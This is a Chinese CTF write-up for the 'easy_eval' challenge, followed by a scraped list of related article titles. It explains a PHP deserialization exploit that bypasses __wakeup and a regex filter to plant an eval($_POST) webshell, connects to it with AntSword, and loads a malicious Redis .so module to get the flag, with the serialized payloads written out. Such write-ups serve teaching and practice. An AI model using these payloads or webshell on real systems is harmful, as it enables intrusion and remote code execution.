审计代码

这是A类

其中_call方法会在A类中无其他方法执行,为避免报错时执行

其中的eval()会对括号内的命令进行执行

_wakeup会使得code为空是我们要避免的。我们可以在序列化后对属性进行增加来跳过

class A{public $code = "";function __call($method,$args){eval($this->code);}function __wakeup(){$this->code = "";}
}

这是B类

在反序列化时会,_destruct()方法会执行a中的a()方法

class B{function __destruct(){echo $this->a->a();}
}

这是主体部分 

在接收poc的内容后会进行判空,然后对BA进行全局正则匹配,匹配结果以数组形式记录下来。

之后会用if语句来判断匹配成功次数

if(isset($_REQUEST['poc'])){preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);if (isset($ret[1])) {foreach ($ret[1] as $i) {if(intval($i)!==1){exit("you want to bypass wakeup ? no !");}}unserialize($_REQUEST['poc']);    }}else{highlight_file(__FILE__);
}

构造代码

下面我们就要构造代码了,思路是这样的:先构造B类添加一个public $a, 而这个a是一个A类。当我们执行B类中的_destruct()方法时,我们就会去执行A类中的a()方法,由于没有a()于是就会自动执行_call方法。这是我们只要将我们想执行的指令赋给code就行了。

这是代码及序列化后的结果

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_POST['1']); ";}}

为绕过_wakeup我们将A后的属性加1,为只进行一次正则匹配我们将A变成a(PHP代码中类名大小写都行)

O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:19:"eval($_POST['1']); ";}}

之后我试图用  ?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:19:"eval($_POST['1']); ";}}连接蚁剑时发现不行于是将其输入url注入栏变成下列后在用来连接蚁剑才成功。

 ?poc=O:1:"B":1:%7Bs:1:"a";O:1:"A":1:%7Bs:4:"code";s:19:"eval($_POST['1']);%20";%7D%7D

现在我们开始连接蚁剑

连接成功后我们可以在config.php中发现一个redis库的密码you_cannot_guess_it

为获取redis中的内容我们需要先通过蚁剑来上传一个恶意so文件。之后我们需要在蚁剑中添加redis的插件插件添加完成后加载恶意so文件获取库目录下面的flag

这是上传恶意so文件

打开redis插件

添加并输入连接密码

打开后我们加载恶意so文件加载成功后我们输入相应指令便可获得flag

ctf (easy_eval)相关推荐

  1. 2021 第二届天翼杯ctf

    2021 天翼杯ctf wp Misc 签到 Browser Pwn ezshell Web eztp jackson easy_eval Tip Misc 签到 群公告 FLAG flag{e7gR ...

  2. [ CTF ] WriteUp- 20221003 CTFShow新(脑洞)手(套路)杯

    目录 [Misc]哇库哇库 [Misc]显卡坏了 赛后看官方wp给的脚本: [Web]easy_eval [Web]repairman [Crypto]easy_base [Crypto]天知地知(赛 ...

  3. 【CTF】实验吧 困在栅栏里的凯撒

    题目先提到栅栏,再提到凯撒,按照顺序先栅栏解码,再凯撒解码. 一般密码的开头不是flag就是key或者ctf 所以选择"6栏",在进行凯撒解码 在所有组合中,发现CTF即为flag

  4. 【CTF】实验吧 古典密码

    一共是35个字符分成5*7或者7*5 最终选择5行7列 首先变动第一行的位置,然后根据第一行变动的位置,依次变动下面的行 OCU{CFT ELXOUYD ECTNGAH OHRNFIE NM}IOTA ...

  5. 【CTF】实验吧 围在栅栏中的爱

    对摩斯密码进行解码:kiqlwtfcqgnsoo QWE是键盘上的前三个,ABC是26个字母的前三个.所以,二者有这样的对应关系. #include <stdio.h> #include ...

  6. 【CTF】实验吧 奇怪的短信

    和实验吧 The Flash-14有些类似,总共的数字数目是偶数,所以两两分开,题干中的"短信"是提示,观察两两分组的第二个数字没有超过四的,可以想到手机上的九键 例如第一组数:3 ...

  7. 【CTF】实验吧 The Flash-14

    标题的提示是:闪电侠的第十四集用到的加密方式(看来写CTF题要无所不知,不然咋能想到是一部剧) 根据两两一组将数据分类 54  43  32  52  22  44  55  34  22  51  ...

  8. 【CTF】实验吧 传统知识+古典密码

    对照顺序写下: 根据对应的干支得到 28 30 23 8 17 10 16 30   +甲子 所有的数加60 得到 88 90 83 68 77 70 76 90 找到ASCII码对照表可得到XZSD ...

  9. php upload ctf,强网杯CTF防御赛ez_upload Writeup

    这是强网杯拟态防御线下赛遇到的web题目,本来是不打算分享Writeup的,但是由于问的人很多,于是这里分享给大家. ez_upload这题算是非常经典的堆叠black trick的题目,算是比较典型 ...

最新文章

  1. 实现线程哪种方法更好_实施数据以实现更好的用户体验设计的4种方法
  2. javscript对cookie的操作,以及封装
  3. [WinError 10061] 由于目标计算机积极拒绝,无法连接错误解决办法
  4. java 接口与包_java常用类包接口
  5. 说说普通人挣钱的思路
  6. CentOS7如何关闭防火墙
  7. py thon 多线程(转一篇好文章)
  8. 求1+2+3+4+...+n
  9. Meteor的工作原理及优势与不足
  10. 更新macOS Big Sur系统后,Parallels Desktop打不开怎么办?教你解决方法!
  11. 2011盘点国内外24款免费个人防火墙
  12. 仿照CIFAR-10数据集格式,制作自己的数据集
  13. Excel 用 vba 批量插入/提取批注
  14. NCRE考试感想 三级信息安全(上)
  15. Python 自动清理电脑垃圾文件,一键启动即可
  16. OFFICE中的VBA库的定义
  17. Wrapper中ge,gt,lt,le的含义
  18. android获取后一天日期,android获取本周本月本年的第一天和最后一天
  19. HotSpot 术语表翻译(JVM)
  20. Win7宝典 / Windows7宝典

热门文章

  1. 什么是flash游戏?
  2. php dir opendir,php中目录操作opendir()、readdir()及scandir()用法示例
  3. CISCO 产品命名解说
  4. c语言是一种面向过程的程序设计语言,C语言实现面向对象的C语言是一种面向过程的语言联合开发网络...
  5. 驾驶证理论测试显示软件未激活,驾照理论考试软件注册
  6. 论文解读:Answering while Summarizing: Multi-task Learning for Multi-hop QA with Evidence Extraction
  7. pushmail的YY
  8. oracle中日期自动补全,没有数据自动补0
  9. 如何查看路由器的mac和计算机的mac
  10. GeoGebra 多阶拟合